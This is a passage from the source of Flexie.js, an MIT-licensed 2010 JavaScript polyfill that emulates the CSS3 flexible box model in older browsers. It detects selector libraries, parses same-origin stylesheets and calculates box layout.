/*
File: flexie.js

About: Version
	1.0.3

Project: Flexie

Description:
	Legacy support for the CSS3 Flexible Box Model

License:
	The MIT License
	
	Copyright (c) 2010 Richard Herrera

	Permission is hereby granted, free of charge, to any person obtaining a copy
	of this software and associated documentation files (the "Software"), to deal
	in the Software without restriction, including without limitation the rights
	to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
	copies of the Software, and to permit persons to whom the Software is
	furnished to do so, subject to the following conditions:

	The above copyright notice and this permission notice shall be included in
	all copies or substantial portions of the Software.

	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
	IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
	FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
	AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
	LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
	OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
	THE SOFTWARE.
*/

/*
Class: Flexie
	Scoped to the Flexie Global Namespace
*/

/*jslint evil: true, regexp: false, plusplus: false */
/*global window, document */

var Flexie = (function (win, doc) {
	
	// Scope public properties
	var FLX = {},
	
	    // Each Flexie-modified DOM node gets a unique identifier
	    FLX_DOM_ID = 0,
	    FLX_DOM_ATTR = "data-flexie-id",
	    FLX_PARENT_ATTR = "data-flexie-parent",
	    
	    // Store support for flexbox
	    SUPPORT,
	    
	    // Store reference to engine
	    ENGINE,
	
	    ENGINES = {
			"NW" : {
				s : "*.Dom.select"
			},
			"DOMAssistant" : {
				s : "*.$",
				m : "*.DOMReady"
			},
			"Prototype" : {
				s : "$$",
				m : "document.observe",
				p : "dom:loaded",
				c : "document"
			},
			"YAHOO" : {
				s : "*.util.Selector.query",
				m : "*.util.Event.onDOMReady",
				c : "*.util.Event"
			},
			"MooTools" : {
				s : "$$",
				m : "window.addEvent",
				p : "domready"
			},
			"Sizzle" : {
				s : "*"
			},
			"jQuery" : {
				s : "*",
				m : "*(document).ready"
			},
			"dojo" : {
				s : "*.query",
				m : "*.addOnLoad"
			}
		},
	    
	    // Store reference to library
	    LIBRARY,
	    
	    // Regular Expressions
	    PIXEL = /^-?\d+(?:px)?$/i,
	    NUMBER = /^-?\d/,
	    SIZES = /width|height|margin|padding|border/,
	    MSIE = /(msie) ([\w.]+)/,
	    WHITESPACE_CHARACTERS = /\t|\n|\r/g,
	    RESTRICTIVE_PROPERTIES = /^max\-([a-z]+)/,
	    PROTOCOL = /^https?:\/\//i,
	    LEADINGTRIM = /^\s\s*/,
	    TRAILINGTRIM = /\s\s*$/,
	    ONLY_WHITESPACE = /^\s*$/,
	    CSS_SELECTOR = /\s?(\#|\.|\[|\:(\:)?[^first\-(line|letter)|before|after]+)/g,
		
	    // String constants
	    EMPTY_STRING = "",
	    SPACE_STRING = " ",
	    PLACEHOLDER_STRING = "$1",
	    PADDING_RIGHT = "paddingRight",
	    PADDING_BOTTOM = "paddingBottom",
	    PADDING_LEFT = "paddingLeft",
	    PADDING_TOP = "paddingTop",
	    BORDER_RIGHT = "borderRightWidth",
	    BORDER_BOTTOM = "borderBottomWidth",
	    BORDER_LEFT = "borderLeftWidth",
	    BORDER_TOP = "borderTopWidth",
	    HORIZONTAL = "horizontal",
	    VERTICAL = "vertical",
	    INLINE_AXIS = "inline-axis",
	    BLOCK_AXIS = "block-axis",
	    INHERIT = "inherit",
	    LEFT = "left",
		
	    END_MUSTACHE = "}",
		
	    PREFIXES = " -o- -moz- -ms- -webkit- -khtml- ".split(SPACE_STRING),
		
	    DEFAULTS = {
			orient : HORIZONTAL,
			align : "stretch",
			direction : INHERIT,
			pack : "start"
	    },
	    
	    // Global reference objects
	    FLEX_BOXES = [],
	    POSSIBLE_FLEX_CHILDREN = [],
	    DOM_ORDERED,
	    
	    RESIZE_LISTENER,
	    
	    // Minification optimizations
	    TRUE = true,
	    FALSE = false,
	    NULL = null,
	    UNDEFINED,
	    
	    // If IE, which version?
	    BROWSER = {
			IE : (function () {
				var ie, ua = win.navigator.userAgent,
				    match = (MSIE).exec(ua.toLowerCase());
			
				if (match) {
					ie = parseInt(match[2], 10);
				}
			
				return ie;
			}())
	    },
	    
	    /*
	    selectivizr v1.0.0 - (c) Keith Clark, freely distributable under the terms 
	    of the MIT license.
        
	    selectivizr.com
	    */
	    selectivizrEngine;
	
	function trim (string) {
		if (string) {
			string = string.replace(LEADINGTRIM, EMPTY_STRING).replace(TRAILINGTRIM, EMPTY_STRING);
		}
		
		return string;
	}
	
	// --[ determineSelectorMethod() ]--------------------------------------
	// walks through the engines object testing for an suitable
	// selector engine.
	
	// Moving outside Selectivizr scope because detection is needed before running selectivizrEngine
	function determineSelectorMethod() {
		// compatiable selector engines in order of CSS3 support
		var engines = ENGINES, method,
			engine, obj;
		
		for (engine in engines) {
			if (engines.hasOwnProperty(engine)) {
				obj = engines[engine];

				if (win[engine] && !method) {
					method = eval(obj.s.replace("*", engine));
					
					if (method) {
						ENGINE = engine;
						break;
					}
				}
			}
		}
		
		return method;
	}
	
	// Event handler for onload/onresize events
	function addEvent(type, func) {
		type = "on" + type;
		var oldevent = win[type];

		if (typeof win[type] !== "function") {
			win[type] = func;
		} else {
			win[type] = function () {
				if (oldevent) {
					oldevent();
				}
				func();
			};
		}
	}
	
	function attachLoadMethod(handler) {
		if (!ENGINE) {
			LIBRARY = determineSelectorMethod();
		}
		
		// compatiable selector engines in order of CSS3 support
		var engines = ENGINES,
		    method, caller, args,
		    engine, obj;
		
		for (engine in engines) {
			if (engines.hasOwnProperty(engine)) {
				obj = engines[engine];

				if (win[engine] && !method && obj.m) {
					method = eval(obj.m.replace("*", engine));
					caller = obj.c ? eval(obj.c.replace("*", engine)) : win;
					args = [];
					
					if (method && caller) {
						if (obj.p) {
							args.push(obj.p);
						}
						args.push(handler);
						method.apply(caller, args);
						break;
					}
				}
			}
		}
		
		if (!method) {
			addEvent("load", handler);
		}
	}
	
	function buildSelector (node) {
		var selector = node.nodeName.toLowerCase();
		
		if (node.id) {
			selector += "#" + node.id;
		} else if (node.FLX_DOM_ID) {
			selector += "[" + FLX_DOM_ATTR + "='" + node.FLX_DOM_ID + "']";
		}
		
		return selector;
	}
	
	function setFlexieId (node) {
		if (!node.FLX_DOM_ID) {
			FLX_DOM_ID = (FLX_DOM_ID + 1);
			
			node.FLX_DOM_ID = FLX_DOM_ID;
			node.setAttribute(FLX_DOM_ATTR, node.FLX_DOM_ID);
		}
	}
	
	function buildSelectorTree(text) {
		var rules = [], ruletext, rule,
		    match, selector, proptext, splitprop, properties,
		    i, j, x;
		
		// Tabs, Returns
		text = text.replace(WHITESPACE_CHARACTERS, EMPTY_STRING);
		
		// Leading / Trailing Whitespace
		text = text.replace(/\s?(\{|\:|\})\s?/g, PLACEHOLDER_STRING);
		
		ruletext = text.split(END_MUSTACHE);

		for (i in ruletext) {
			if (ruletext.hasOwnProperty(i)) {
				text = ruletext[i];

				if (text) {
					rule = [text, END_MUSTACHE].join(EMPTY_STRING);
					
					match = (/(\@media[^\{]+\{)?(.*)\{(.*)\}/).exec(rule);
					
					if (match && match[3]) {
						selector = match[2];
						proptext = match[3].split(";");
						properties = [];
						
						for (j in proptext) {
							if (proptext.hasOwnProperty(j)) {
								x = proptext[j];
								splitprop = x.split(":");
								
								if (splitprop.length && splitprop[1]) {
									properties.push({
										property : splitprop[0],
										value : splitprop[1]
									});
								}
							}
						}
						
						if (selector && properties.length) {
							rules.push({
								selector : selector,
								properties : properties
							});
						}
					}
				}
			}
		}
		
		return rules;
	}
	
	function findFlexboxElements(rules) {
		var selectors, properties,
		    property, value, shortProp,
		    selectorSplit = /\s?,\s?/,
		    createUniqueObject, addRules, key,
		    uniqueChildren = {}, uniqueBoxes = {},
		    i, j, rule, k, l, selector, m, n, prop;
		
		createUniqueObject = function (selector, rules, prop, value) {
			var unique, i, j, rule;

			unique = {
				selector : trim(selector),
				properties : []
			};

			for (i = 0, j = rules.properties.length; i < j; i++) {
				rule = rules.properties[i];

				unique.properties.push({
					property : trim(rule.property),
					value : trim(rule.value)
				});
			}
			
			if (prop && value) {
				unique[prop] = value;
			}
			
			return unique;
		};
		
		addRules = function (selector, rules, prop, value) {
			var box = (prop && value) ? uniqueChildren[selector] : uniqueBoxes[selector],
			    exists, x, i, j, rule, k, l;
			
			if (box) {
				for (i = 0, j = rules.properties.length; i < j; i++) {
					rule = rules.properties[i];

					for (k = 0, l = box.properties.length; k < l; k++) {
						x = box.properties[k];

						if (rule.property === x.property) {
							exists = k;
							return false;
						}
					}
					
					if (exists) {
						box.properties[exists] = rule;
					} else {
						box.properties.push(rule);
					}
				}
				
				if (prop && value) {
					box[prop] = value;
				}
			} else {
				if (prop && value) {
					uniqueChildren[selector] = createUniqueObject(selector, rules, prop, value);
				} else {
					uniqueBoxes[selector] = createUniqueObject(selector, rules, NULL, NULL);
				}
			}
		};

		for (i = 0, j = rules.length; i < j; i++) {
			rule = rules[i];

			selectors = trim(rule.selector).replace(selectorSplit, ",").split(selectorSplit);

			for (k = 0, l = selectors.length; k < l; k++) {
				selector = trim(selectors[k]);
				properties = rule.properties;

				for (m = 0, n = properties.length; m < n; m++) {
					prop = properties[m];
					property = trim(prop.property);
					value = trim(prop.value);

					if (property) {
						shortProp = property.replace("box-", EMPTY_STRING);

						switch (shortProp) {
						case "display" :
							if (value === "box") {
								addRules(selector, rule, NULL, NULL);
							}
							break;

						case "orient" :
						case "align" :
						case "direction" :
						case "pack" :
							addRules(selector, rule, NULL, NULL);
							break;

						case "flex" :
						case "flex-group" :
						case "ordinal-group" :
							addRules(selector, rule, shortProp, value);
							break;
						}
					}
				}
			}
		}

		for (key in uniqueBoxes) {
			if (uniqueBoxes.hasOwnProperty(key)) {
				FLEX_BOXES.push(uniqueBoxes[key]);
			}
		}

		for (key in uniqueChildren) {
			if (uniqueChildren.hasOwnProperty(key)) {
				POSSIBLE_FLEX_CHILDREN.push(uniqueChildren[key]);
			}
		}
		
		return {
			boxes : FLEX_BOXES,
			children : POSSIBLE_FLEX_CHILDREN
		};
	}
	
	function matchFlexChildren(parent, lib, possibleChildren) {
		var caller, unique, matches = [],
			i, j, child,
			k, l, node,
			key;

		for (i = 0, j = possibleChildren.length; i < j; i++) {
			child = possibleChildren[i];

			if (child.selector) {
				caller = lib(child.selector);
				caller = caller[0] ? caller : [caller];

				if (caller[0]) {

					for (k = 0, l = caller.length; k < l; k++) {
						node = caller[k];

						if (node.nodeName !== UNDEFINED) {
							switch (node.nodeName.toLowerCase()) {
							case "script" :
							case "style" :
							case "link" :
								break;

							default :
								if (node.parentNode === parent) {
									// Flag each unique node with FLX_DOM_ID
									setFlexieId(node);

									unique = {};

									for (key in child) {
										if (child.hasOwnProperty(key)) {
											unique[key] = child[key];
										}
									}

									unique.match = node;
									matches.push(unique);
								}
								break;
							}
						}
					}
				}
			} else {
				// Flag each unique node with FLX_DOM_ID
				setFlexieId(child);
				
				matches.push({
					match : child,
					selector : buildSelector(child)
				});
			}
		}
		
		return matches;
	}
	
	function getParams(params) {
		var key;
		
		for (key in params) {
			if (params.hasOwnProperty(key)) {
				params[key] = params[key] || DEFAULTS[key];
			}
		}
		
		return params;
	}
	
	function buildFlexieCall(flexers) {
		var selector, properties, property, value, shortProp,
			display, orient, align, direction, pack,
			lib, caller, children,
			box, params, flexboxes = {},
			match, childMatch, nestedFlexboxes,
			flexieParentSelector = "[" + FLX_PARENT_ATTR + "]",
			i, j, flex, k, l, prop,
			target, key, m, n, child, o, p, existing;
		
		// No boxflex? No dice.
		if (!flexers) {
			return;
		}

		for (i = 0, j = flexers.boxes.length; i < j; i++) {
			flex = flexers.boxes[i];
			flex.selector = trim(flex.selector);
			
			selector = flex.selector;
			properties = flex.properties;
			
			display = orient = align = direction = pack = NULL;
			
			for (k = 0, l = properties.length; k < l; k++) {
				prop = properties[k];

				property = trim(prop.property);
				value = trim(prop.value);
				
				if (property) {
					shortProp = property.replace("box-", EMPTY_STRING);
					
					switch (shortProp) {
					case "display" :
						if (value === "box") {
							display = value;
						}
						break;
						
					case "orient" :
						orient = value;
						break;

					case "align" :
						align = value;
						break;

					case "direction" :
						direction = value;
						break;

					case "pack" :
						pack = value;
						break;
					}
				}
			}
			
			// Determine library
			lib = LIBRARY;
			
			// Call it.
			caller = lib(flex.selector);
			
			// In an array?
			caller = caller[0] ? caller : [caller];
			
			for (k = 0, l = caller.length; k < l; k++) {
				target = caller[k];

				// If is DOM object
				if (target.nodeType) {
					// Flag each unique node with FLX_DOM_ID
					setFlexieId(target);
					
					// Find possible child node matches
					children = matchFlexChildren(target, lib, flexers.children);
					
					// Find any nested flexbox elements
					nestedFlexboxes = selector + " " + flexieParentSelector;

					// Make sure there is some value associated with box properties
					params = {
						target : target,
						selector : selector,
						properties : properties,
						children : children,
						display : display,
						orient : orient,
						align : align,
						direction: direction,
						pack : pack,
						nested : nestedFlexboxes
					};

					match = flexboxes[target.FLX_DOM_ID];

					if (match) {
						for (key in params) {
							if (params.hasOwnProperty(key)) {
								value = params[key];

								switch (key) {
								case "selector" :
									if (value && !(new RegExp(value).test(match[key]))) {
										match[key] += ", " + value;
									}
									break;
								
								case "children" :
									for (m = 0, n = params[key].length; m < n; m++) {
										child = params[key][m];
										childMatch = FALSE;
										
										for (o = 0, p = match[key].length; o < p; o++) {
											existing = match[key][o];

											if (child.match.FLX_DOM_ID === existing.match.FLX_DOM_ID) {
												childMatch = TRUE;
											}
										}
										
										if (!childMatch) {
											match[key].push(child);
										}
									}
									break;
									
								default :
									if (value) {
										match[key] = value;
									}
									break;
								}
							}
						}
					} else {
						flexboxes[target.FLX_DOM_ID] = getParams(params);
						flexboxes[target.FLX_DOM_ID].target.setAttribute(FLX_PARENT_ATTR, TRUE);
					}
				}
			}
		}
		
		DOM_ORDERED = LIBRARY(flexieParentSelector);
		FLEX_BOXES = {};
		
		for (i = 0, j = DOM_ORDERED.length; i < j; i++) {
			target = DOM_ORDERED[i];

			FLEX_BOXES[target.FLX_DOM_ID] = flexboxes[target.FLX_DOM_ID];
		}
		
		// Loop through each match, initialize constructor
		for (key in FLEX_BOXES) {
			if (FLEX_BOXES.hasOwnProperty(key)) {
				flex = FLEX_BOXES[key];

				// One final check to ensure each flexbox has a display property
				if (flex.display === "box") {
					// Constructor
					box = new FLX.box(flex);
				}
			}
		}
	}
	
	function calcPx(element, props, dir) {
		var dim = dir.replace(dir.charAt(0), dir.charAt(0).toUpperCase()),
		    value = element["offset" + dim] || 0,
		    i, j, prop;
		
		if (value) {
			for (i = 0, j = props.length; i < j; i++) {
				prop = parseFloat(element.currentStyle[props[i]]);

				if (!isNaN(prop)) {
					value -= prop;
				}
			}
		}
		
		return value;
	}
	
	function getTrueValue(element, name) {
		var left, rsLeft,
		    ret = element.currentStyle && element.currentStyle[name],
		    style = element.style;

		if (!PIXEL.test(ret) && NUMBER.test(ret)) {

			// Remember the original values
			left = style.left;
			rsLeft = element.runtimeStyle.left;

			// Put in the new values to get a computed value out
			element.runtimeStyle.left = element.currentStyle.left;
			style.left = ret || 0;
			ret = style.pixelLeft + "px";

			// Revert the changed values
			style.left = left || 0;
			element.runtimeStyle.left = rsLeft;
		}

		return ret;
	}
	
	function unAuto(element, prop, name) {
		var props;
		
		switch (name) {
		case "width" :
			props = [PADDING_LEFT, PADDING_RIGHT, BORDER_LEFT, BORDER_RIGHT];
			prop = calcPx(element, props, name);
			break;

		case "height" :
			props = [PADDING_TOP, PADDING_BOTTOM, BORDER_TOP, BORDER_BOTTOM];
			prop = calcPx(element, props, name);
			break;

		default :
			prop = getTrueValue(element, name);
			break;
		}

		return prop;
	}
	
	function getPixelValue(element, prop, name) {
		if (PIXEL.test(prop)) {
			return prop;
		}
		
		// if property is auto, do some messy appending
		if (prop === "auto" || prop === "medium") {
			prop = unAuto(element, prop, name);
		} else {
			prop = getTrueValue(element, name);
		}
		
		return prop;
	}
	
	function getComputedStyle(element, property, returnAsInt) {
		var value;
		
		if (element === UNDEFINED) {
			return;
		}
		
		if (win.getComputedStyle) {
			value = win.getComputedStyle(element, NULL)[property];
		} else {
			if (SIZES.test(property)) {
				value = getPixelValue(element, (element && element.currentStyle) ? element.currentStyle[property] : 0, property);
			} else {
				value = element.currentStyle[property];
			}
		}
		
		if (returnAsInt) {
			value = parseInt(value, 10);
			
			if (isNaN(value)) {
				value = 0;
			}
		}
		
		return value;
	}
	
	function clientWidth(element) {
		return element.innerWidth || element.clientWidth;
	}
	
	function clientHeight(element) {
		return element.innerHeight || element.clientHeight;
	}
	
	function appendProperty(target, prop, value, prefixName) {
		var cssText = [],
			i, j, prefix;
		
		for (i = 0, j = PREFIXES.length; i < j; i++) {
			prefix = PREFIXES[i];
			cssText.push((prefixName ? prefix : EMPTY_STRING) + prop + ":" + (!prefixName ? prefix : EMPTY_STRING) + value);
		}

		target.style.cssText += cssText.join(";");
		return target;
	}
	
	function appendPixelValue(target, prop, value) {
		var targets = target && target[0] ? target : [target],
			i, j;
		
		for (i = 0, j = targets.length; i < j; i++) {
			target = targets[i];

			if (target && target.style) {
				target.style[prop] = (value ? (value + "px") : EMPTY_STRING);
			}
		}
	}
	
	function calculateSpecificity (selector) {
		var selectorGrid, matrix, total,
			i, j, chunk;
		
		selectorGrid = selector.replace(CSS_SELECTOR, function (e, f) {
			return "%" + f;
		}).replace(/\s|\>|\+|\~/g, "%").split(/%/g);
		
		matrix = {
			_id : 100,
			_class : 10,
			_tag : 1
		};
		
		// Start with rule index position
		total = 0;
		
		// Add each selector value to total.
		for (i = 0, j = selectorGrid.length; i < j; i++) {
			chunk = selectorGrid[i];

			if ((/#/).test(chunk)) {
				total += matrix._id;
			} else if ((/\.|\[|\:/).test(chunk)) {
				total += matrix._class;
			} else if ((/[a-zA-Z]+/).test(chunk)) {
				total += matrix._tag;
			}
		}
		
		return total;
	}
	
	function filterDuplicates (matches, children, type) {
		var filteredMatches = [], exists,
		    spec = (type ? "ordinal" : "flex") + "Specificity",
		    i, j, x, k, l, f;
		
		for (i = 0, j = matches.length; i < j; i++) {
			x = matches[i];

			if ((!type && x.flex) || (type && x["ordinal-group"])) {
				x[spec] = x[spec] || calculateSpecificity(x.selector);
				
				exists = FALSE;
			
				for (k = 0, l = filteredMatches.length; k < l; k++) {
					f = filteredMatches[k];

					if (f.match === x.match) {
						if (f[spec] < x[spec]) {
							filteredMatches[j] = x;
						}
					
						exists = TRUE;
						return FALSE;
					}
				}
			
				if (!exists) {
					filteredMatches.push(x);
				}
			}
		}
		
		return filteredMatches;
	}
	
	function createMatchMatrix(matches, children, type) {
		var groups = {}, keys = [], totalRatio = 0,
			group, order = "ordinal-group",
			BoxOrdinalAttr = "data-" + order,
			i, j, kid, k, l, x, key;
		
		// Filter dupes
		matches = filterDuplicates(matches, children, type);

		for (i = 0, j = children.length; i < j; i++) {
			kid = children[i];

			for (k = 0, l = matches.length; k < l; k++) {
				x = matches[k];

				if (type) {
					// If no value declared, it's the default.
					group = x[order] || "1";
					
					if (x.match === kid) {
						x.match.setAttribute(BoxOrdinalAttr, group);
						
						groups[group] = groups[group] || [];
						groups[group].push(x);
					}
				} else {
					// If no value declared, it's the default.
					group = x.flex || "0";
					
					if (x.match === kid && (!x[group] || (x[group] && parseInt(x[group], 10) <= 1))) {
						totalRatio += parseInt(group, 10);

						groups[group] = groups[group] || [];
						groups[group].push(x);
					}
				}
			}
			
			if (type && !kid.getAttribute(BoxOrdinalAttr)) {
				group = "1";
				kid.setAttribute(BoxOrdinalAttr, group);
				
				groups[group] = groups[group] || [];
				groups[group].push({
					match : kid
				});
			}
		}

		for (key in groups) {
			if (groups.hasOwnProperty(key)) {
				keys.push(key);
			}
		}

		keys.sort(function (a, b) {
			return b - a;
		});

		return {
			keys : keys,
			groups : groups,
			total : totalRatio
		};
	}
	
	function attachResizeListener(construct, params) {
		if (!RESIZE_LISTENER) {
			var storedWidth, storedHeight,
			    currentWidth, currentHeight,
			    docBody = doc.body,
			    docEl = doc.documentElement,
			    resizeTimer,
			    innerWidth = "innerWidth", innerHeight = "innerHeight",
			    clientWidth = "clientWidth", clientHeight = "clientHeight";
			
			addEvent("resize", function () {
				if (resizeTimer) {
					window.clearTimeout(resizeTimer);
				}

				resizeTimer = window.setTimeout(function () {
					currentWidth = win[innerWidth] || docEl[innerWidth] || docEl[clientWidth] || docBody[clientWidth];
					currentHeight = win[innerHeight] || docEl[innerHeight] || docEl[clientHeight] || docBody[clientHeight];
					
					if (storedWidth !== currentWidth || storedHeight !== currentHeight) {
						FLX.updateInstance(NULL, NULL);
						
						storedWidth = currentWidth;
						storedHeight = currentHeight;
					}
				}, 250);
			});
			
			RESIZE_LISTENER = TRUE;
		}
	}
	
	function cleanPositioningProperties (children) {
		var i, j, kid, w, h;
		
		for (i = 0, j = children.length; i < j; i++) {
			kid = children[i];

			w = kid.style.width;
			h = kid.style.height;
			
			kid.style.cssText = EMPTY_STRING;
			
			kid.style.width = w;
			kid.style.height = h;
		}
	}
	
	function sanitizeChildren (target, nodes) {
		var children = [], node, i, j;
		
		for (i = 0, j = nodes.length; i < j; i++) {
			node = nodes[i];
			
			if (node) {
				switch (node.nodeName.toLowerCase()) {
				case "script" :
				case "style" :
				case "link" :
					break;

				default :
					if (node.nodeType === 1) {
						children.push(node);
					} else if ((node.nodeType === 3) && (node.isElementContentWhitespace || (ONLY_WHITESPACE).test(node.data))) {
						target.removeChild(node);
						i--;
					}
					break;
				}
			}
		}
		
		return children;
	}
	
	function parentFlex (target) {
		var totalFlex = 0,
		    parent = target.parentNode,
		    obj,
		    matrix,
		    isNested;
		
		while (parent.FLX_DOM_ID) {
			obj = FLEX_BOXES[parent.FLX_DOM_ID];
			matrix = createMatchMatrix(obj.children, sanitizeChildren(parent, parent.childNodes), NULL);
			
			totalFlex += matrix.total;
			isNested = TRUE;
			
			parent = parent.parentNode;
		}
		
		return {
			nested : isNested,
			flex : totalFlex
		};
	}
	
	function dimensionValues (target, prop) {
		var parent = target.parentNode,
		    obj, dimension, i, j, rule;
		
		if (parent.FLX_DOM_ID) {
			obj = FLEX_BOXES[parent.FLX_DOM_ID];
			
			for (i = 0, j = obj.properties.length; i < j; i++) {
				rule = obj.properties[i];

				if ((new RegExp(prop)).test(rule.property)) {
					dimension = TRUE;
					return FALSE;
				}
			}
		}
		
		return dimension;
	}
	
	function updateChildValues (params) {
		var i, j, x;

		if (params.flexMatrix) {
			for (i = 0, j = params.children.length; i < j; i++) {
				x = params.children[i];
				x.flex = params.flexMatrix[i];
			}
		}
		
		if (params.ordinalMatrix) {
			for (i = 0, j = params.children.length; i < j; i++) {
				x = params.children[i];
				x["ordinal-group"] = params.ordinalMatrix[i];
			}
		}
		
		return params;
	}
	
	function ensureStructuralIntegrity (params, instance) {
		var target = params.target;
		
		if (!target.FLX_DOM_ID) {
			target.FLX_DOM_ID = target.FLX_DOM_ID || (++FLX_DOM_ID);
		}
		
		if (!params.nodes) {
			params.nodes = sanitizeChildren(target, target.childNodes);
		}
		
		if (!params.selector) {
			params.selector = buildSelector(target);
			target.setAttribute(FLX_PARENT_ATTR, TRUE);
		}
		
		if (!params.properties) {
			params.properties = [];
		}
		
		if (!params.children) {
			params.children = matchFlexChildren(target, LIBRARY, sanitizeChildren(target, target.childNodes));
		}
		
		if (!params.nested) {
			params.nested = params.selector + " [" + FLX_PARENT_ATTR + "]";
		}
		
		params.target = target;
		params._instance = instance;
		
		return params;
	}
	
	selectivizrEngine = (function () {
		var RE_COMMENT = /(\/\*[^*]*\*+([^\/][^*]*\*+)*\/)\s*?/g,
			RE_IMPORT = /@import\s*(?:(?:(?:url\(\s*(['"]?)(.*)\1)\s*\))|(?:(['"])(.*)\3))\s*([^;]*);/g,
			RE_ASSET_URL = /(behavior\s*?:\s*)?\burl\(\s*(["']?)(?!data:)([^"')]+)\2\s*\)/g,
			RE_SELECTOR_GROUP = /((?:^|(?:\s*\})+)(?:\s*@media[^\{]+\{)?)\s*([^\{]*?[\[:][^{]+)/g,
			
			// Whitespace normalization regexp's
			RE_TIDY_TRAILING_WHITESPACE = /([(\[+~])\s+/g,
			RE_TIDY_LEADING_WHITESPACE = /\s+([)\]+~])/g,
			RE_TIDY_CONSECUTIVE_WHITESPACE = /\s+/g,
			RE_TIDY_TRIM_WHITESPACE = /^\s*((?:[\S\s]*\S)?)\s*$/;

		// --[ trim() ]---------------------------------------------------------
		// removes leading, trailing whitespace from a string
		function trim(text) {
			return text.replace(RE_TIDY_TRIM_WHITESPACE, PLACEHOLDER_STRING);
		}

		// --[ normalizeWhitespace() ]------------------------------------------
		// removes leading, trailing and consecutive whitespace from a string
		function normalizeWhitespace(text) {
			return trim(text).replace(RE_TIDY_CONSECUTIVE_WHITESPACE, SPACE_STRING);
		}

		// --[ normalizeSelectorWhitespace() ]----------------------------------
		// tidys whitespace around selector brackets and combinators
		function normalizeSelectorWhitespace(selectorText) {
			return normalizeWhitespace(selectorText.replace(RE_TIDY_TRAILING_WHITESPACE, PLACEHOLDER_STRING).replace(RE_TIDY_LEADING_WHITESPACE, PLACEHOLDER_STRING));
		}

		// --[ patchStyleSheet() ]----------------------------------------------
		// Scans the passed cssText for selectors that require emulation and
		// creates one or more patches for each matched selector.
		function patchStyleSheet(cssText) {
			return cssText.replace(RE_SELECTOR_GROUP, function (m, prefix, selectorText) {
				var selectorGroups, selector,
					i, j, group;
				
				selectorGroups = selectorText.split(",");
				
				for (i = 0, j = selectorGroups.length; i < j; i++) {
					group = selectorGroups[i];
					selector = normalizeSelectorWhitespace(group) + SPACE_STRING;
				}
				
				return prefix + selectorGroups.join(",");
			});
		}
		
		// --[ getXHRObject() ]-------------------------------------------------
		function getXHRObject() {
			if (win.XMLHttpRequest) {
				return new win.XMLHttpRequest();
			}
			
			try	{ 
				return new win.ActiveXObject("Microsoft.XMLHTTP");
			} catch (e) { 
				return NULL;
			}
		}

		function parseInlineStyles ( text ) {
			var reg = /<style[^<>]*>([^<>]*)<\/style[\s]?>/img,
				match = reg.exec(text),
				stylesheets = [],
				rawCSSText;

			while (match) {
				rawCSSText = match[1];

				if (rawCSSText) {
					stylesheets.push(rawCSSText);
				}

				match = reg.exec(text);
			}

			return stylesheets.join("\n\n");
		}
		
		// --[ loadStyleSheet() ]-----------------------------------------------
		function loadStyleSheet(url) {
			var xhr = getXHRObject(),
				responseText;
			
			xhr.open("GET", url, FALSE);
			xhr.send();

			responseText = (xhr.status === 200) ? xhr.responseText : EMPTY_STRING;

			if (url === window.location.href) {
				responseText = parseInlineStyles(responseText);
			}

			return responseText;
		}
		
		// --[ resolveUrl() ]---------------------------------------------------
		// Converts a URL fragment to a fully qualified URL using the specified
		// context URL. Returns null if same-origin policy is broken
		function resolveUrl(url, contextUrl) {
			
			// IE9 returns a false positive sometimes(?)
			if (!url) {
				return;
			}
			
			function getProtocolAndHost(url) {
				return url.substring(0, url.indexOf("/", 8));
			}

			// absolute path
			if (PROTOCOL.test(url)) {
				return getProtocolAndHost(contextUrl) === getProtocolAndHost(url) ? url : NULL;
			}

			// root-relative path
			if (url.charAt(0) === "/")	{
				return getProtocolAndHost(contextUrl) + url;
			}

			// relative path
			var contextUrlPath = contextUrl.split("?")[0]; // ignore query string in the contextUrl
			if (url.charAt(0) !== "?" && contextUrlPath.charAt(contextUrlPath.length - 1) !== "/") {
				contextUrlPath = contextUrlPath.substring(0, contextUrlPath.lastIndexOf("/") + 1);
			}

			return contextUrlPath + url;
		}
		
		// --[ parseStyleSheet() ]----------------------------------------------
		// Downloads the stylesheet specified by the URL, removes it's comments
		// and recursivly replaces @import rules with their contents, ultimately
		// returning the full cssText.
		function parseStyleSheet( url ) {
			if (url) {
				return loadStyleSheet(url).replace(RE_COMMENT, EMPTY_STRING).
				replace(RE_IMPORT, function( match, quoteChar, importUrl, quoteChar2, importUrl2, media ) {
					var cssText = parseStyleSheet(resolveUrl(importUrl || importUrl2, url));
					return (media) ? "@media " + media + " {" + cssText + "}" : cssText;
				}).
				replace(RE_ASSET_URL, function( match, isBehavior, quoteChar, assetUrl ) { 
					quoteChar = quoteChar || EMPTY_STRING;
					return isBehavior ? match : " url(" + quoteChar + resolveUrl(assetUrl, url, true) + quoteChar + ") "; 
				});
			}
			return EMPTY_STRING;
		}
		
		// --[ init() ]---------------------------------------------------------
		return function () {
			// honour the <base> tag
			var url, stylesheets = [], stylesheet, i, j,
			    baseTags = doc.getElementsByTagName("BASE"),
			    baseUrl = (baseTags.length > 0) ? baseTags[0].href : doc.location.href,
			    externalStyles = doc.styleSheets,
			    cssText, tree, flexers;
			
			for (i = 0, j = externalStyles.length; i < j; i++) {
				stylesheet = externalStyles[i];

				if (stylesheet != NULL) {
					stylesheets.push(stylesheet);
				}
			}

			// Add self to test for inline styles
			stylesheets.push(window.location);

			for (i = 0, j = stylesheets.length; i < j; i++) {
				stylesheet = stylesheets[i];

				if (stylesheet) {
					url = resolveUrl(stylesheet.href, baseUrl);

					if (url) {
						cssText = patchStyleSheet(parseStyleSheet(url));
					}

					if (cssText) {
						tree = buildSelectorTree(cssText);
						flexers = findFlexboxElements(tree);
					}
				}
			}
			
			buildFlexieCall(flexers);
		};
	}());
	
	// Flexie box constructor
	FLX.box = function (params) {
		return this.renderModel(params);
	};
	
	FLX.box.prototype = {
		properties : {
			boxModel : function (target, children, params) {
				var selectors, stylesheet, paddingFix, generatedRules,
					i, j, selector;

				target.style.display = "block";
				
				if (BROWSER.IE === 8) {
					target.style.overflow = "hidden";
				}

				// We'll be using floats, so the easiest way to retain layout
				// is the dreaded clear fix:
